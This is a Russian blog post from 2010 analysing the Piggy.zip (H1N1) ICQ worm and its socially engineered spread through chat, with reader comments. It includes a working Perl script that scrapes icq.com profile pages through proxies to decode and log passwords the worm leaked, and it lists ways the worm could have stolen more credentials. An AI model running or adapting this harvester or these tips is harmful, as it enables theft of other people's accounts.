Анализ ICQ-вируса H1N1, он же Piggy.zip

7

Вчера, 18 января 2010, многие пользователи ICQ подверглись атаке нового «умного» вируса, получившего название H1N1. Если вы уже «в курсе произошедшего» и хотите восстановить свой пароль от ICQ, прочитайте тему о вирусе Piggy.zip на Web 2.0 Forum. В этом же посте я хотел бы поделиться своими мыслями по поводу произошедшего.

Для начала, ввиду в курс дела тех, кто не в теме. Дело было вчера, около 5-и часов вечера. В офисе царила рабочая обстановка, я спокойно писал документацию под музыку. Тут краем глаза я заметил, что среди коллег началось какие-то бурное обсуждение. Я решил дать глазам отдохнуть и поинтересовался, что происходит.

Так я узнал о вирусе Piggy.zip, информация о котором на текущий момент быстро разлетается по Сети. Другие его имена – H1N1, N1H1 и даже Infected by H1N1. Особый интерес этот вирус вызывает по той причине, что для заражения компьютеров он использует так называемую социальную инженерию, или, если говорить простым языком, H1N1 – это первый вирус, который умеет убедительно врать.

Как работали ICQ-вирусы до этого? Очень просто:

  • Зайти в ICQ зараженного пользователя.
  • Разослать ссылку на файл вируса по списку контактов.
  • Выйти из ICQ.
  • Опционально: выполнить payload (полезную нагрузку).

Как пользователи с ними боролись? Тоже просто – при получении ссылки нужно уточнить, а знает ли отправитель о том, что от него приходят ссылки, а не спам ли это, а точно ли это не спам и так далее. Так вот, новизна Piggy.zip заключается в том, что это первый вирус, отвечающий на подобные вопросы (и даже делающий это не моментально, а меняя статус на «Печатает сообщение…»).

Алгоритм, как выяснилось, очень прост. Если вирус получает сообщение со словом «вирус», послать отправителю ответ «это не вирус, а прикольный мультик», если в сообщении есть слово «спам», ответить «да сам ты спаммер» и так далее. Поскольку раньше никто не писал такие «умные» вирусы, пользователи были уверены, что общаются с живым человеком (уж больно натурально выглядят ответы) и запускали вирус.

В первом приближении вирус кажется вполне безобидным – диск он не форматирует, файлы не шифрует, другие трояны за собой не скачивает. Одна неприятность – он меняет пароль от ICQ, и то, как выяснилось, его можно восстановить – «зашифрованный» пароль вирус записывает в информацию о владельце ICQ в поле «О себе» (см ссылку в начале поста). Так что же получается – такой крутой вирус, и без полезной нагрузки?

Есть мнение, что полезная нагрузка автором таки предусмотрена и заключается она вот в чем. Давайте представим, что мы хотим украсть несколько сотен паролей от красивых номеров ICQ. Найти их на машине пользователя – не проблема, но как передать их автору вируса?

Послать по почте или той же самой ICQ? Ну так по этой самой почте/аське его и попытаются вычислить. Заставить ботов подключаться к IRC каналу и взаимодействовать с автором там? Как-то все это сложно. Ведь есть намного более просто путь – опубликовать зашифрованные пароли прямо на icq.com. Смотрите сами:

Работа вируса Piggy (H1N1)

То есть пароль от любого номера ICQ можно забрать со страницы http://www.icq.com/people/$ICQ_NUMBER. Даже никакие Net::OSCAR использовать не надо! Мне было очень интересно узнать, как много паролей можно собрать, написав «паука» на Perl – потому я быстренько накидал следующий код. Писалось в спешке, так что строго не судите.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/perl

# piggy-grab.pl script
# (c) eax 2010 | http://eax.me/

open PROXY, "proxy.txt" or die "failed to open proxy.txt";
chomp(@proxy = <PROXY>);
close PROXY;

open LIST, "list.txt" or die "failed to open list.txt";
chomp(@list = <LIST>);
close LIST;

%h = (
"0100110000" => "0",
"0100110010" => "1",
"0101100000" => "2",
"0101100010" => "3",
"0101100100" => "4",
"0101100110" => "5",
"0101101000" => "6",
"0101101010" => "7",
"0101101100" => "8",
"0101101110" => "9",
);

#$prfx = "555";
$prfx = "";

#for $uin ("000".."999") {
for $uin (@list) {
  print "$uin  ";
  $p = $proxy[int rand() * scalar @proxy];
  $data = `wget --proxy=on $p http://www.icq.com/people/$prfx$uin -q -O -`;

  if(($pw) = $data =~ /([0-1]{30,120})/) {
    $pw =~ s/([0-9]{10})/$h{$1}/g;
    print "\n\nFOUND: uin = $prfx$uin, pw = $pw\n\n";
    open LOG, ">>log.txt";
    print LOG "uin = $prfx$uin, pw = $pw\n";
    close LOG;
  }
}

Я не был уверен, что бот всегда устанавливает пароли, состоящие из 8-и цифр, потому подстраховался, и написал скрипт так, чтобы он искал пароли длинной от 3-х до 12-и символов. Хотя в ICQ вроде больше 8-и нельзя указать… впрочем это было актуально когда-то давно, мало ли что могло измениться.

В настоящее время мне не удалось найти ни одной красивой взломанной аськи, посмотрим, что будет через несколько дней сканирования. Впрочем, даже если я что-то и найду, в мои планы не входит воровать номера да и пароли к тому времени наверняка все сменить успеют, так что думаю из того, что я выложил скрипт, ничего страшного не случиться. Тем более его писать, простите, две минуты – тоже мне зиродей сплоент.

Кем бы ни был автор вируса, думаю, он гений :) Нет, я категорически против создания вирусов, но не могу не отдать должное творческому мышлению автора и тому, насколько хорошо продуман вирус. Смотрите:

  • Аська очень популярна серди славян, притом не самых технически грамотных славян. Потому идея заставить бота говорить по-русски действительно хороша. Впрочем, ни что не припятский тому, чтобы перевести его еще на десяток языков. Но вы правы, реально этот пункт – фигня какая-то и не считается.
  • Даже в мега-защищенной системе самое слабое место – это человек. Потому атака с помощью социальной инженерии есть проявление передовых хакерских (в плохом смысле слова «хакер») технологий.
  • Вирус написан на Delphi и наверняка с использованием уже готового класса для работы с ICQ. Нет смысла изобретать велосипед и писать код, когда уже есть готовое решение. Чтобы там не говорили о том, что дельфи – это не Ъ.
  • И самое главное – вирусе применены новые приемы для распространения кода и передачи секретной информации. Сколько можно заражать флешки?

Тем не менее, мне кажется, кое-где автор (или аторы) вируса накосячили:

  • Можно было создать несколько зеркал вируса. Тогда его распространение не было бы предотвращено за какие-то сутки.
  • Что мешает выкладывать в «О себе» не только пароли от ICQ, но и, скажем, пароли от SSH или GMail?
  • Если бы передо мной стояла задача стырить побольше паролей, я бы шифровал пароли в поле «О себе» с помощью RSA. Еще вариант – через поломанные номера можно было бы запустить «вторую волну» .

Ну вот, кажется я выложил все идеи, которые появились у меня после того, как я узнал о вирусе H1N1 (или все-такие N1H1?). На последок – есть у меня серьезные сомнения на счет того, что автор ограничится написанием только одной версии вируса. Насколько мне известно, создатели вирусов обычно развивают свою идею, снвоа и снова совершенствую своих «зверушек».

Честно говоря, я был бы очень рад такому развитию событий. Жалко конечно нервы бедных пользователей, но с другой стороны, такие атаки дают им лишний стимул поменьше расслабляться и наконец-то перейти на Православный Протокол Jabber. Или еще лучше – отказаться от использования IM.

ЗЫ. А программистам на Delphi будет интересно взглянуть на декодер паролей, зашифрованных Piggy, опубликованный в Delphi блоге Димаса.

Похожие посты:


Comments posted (7)

Анализ ICQ-вируса H1N1, он же Piggy.zip и N1H1 | Записки программиста…

Thank you for submitting this cool story – Trackback from progg.ru…

[...] по теме на блоге программиста – link В этой статье я нашел картинку: По ней можно видеть [...]

[...] This post was mentioned on Twitter by progg, Александр and ru_webdev, monitorium. monitorium said: Анализ ICQ-вируса H1N1, он же Piggy.zip и N1H1 | Записки программиста: Вирус H1N1, также известный как P… http://bit.ly/5RQEhU /*progg.ru [...]

Интересный материал, но лучше от такого вируса сразу предохраниться :)

Regent, это каким способом?

Подправил немного скрипт – вместо $data =~ /([0-9]{30,120})/ правильно конечно $data =~ /([0-1]{30,120})/. А в первом случае вообще следовало бы использовать d. Пока что изменения не видны – кэш страницы не обновился.

Дело в том что не во всех номерах писалась информация о себе. У знакомой так шестизнак ушел, к почте не привязан так что восстановить уже нет никакой возможности. Возможно автор оказался умнее чем кажется

blog comments powered by Disqus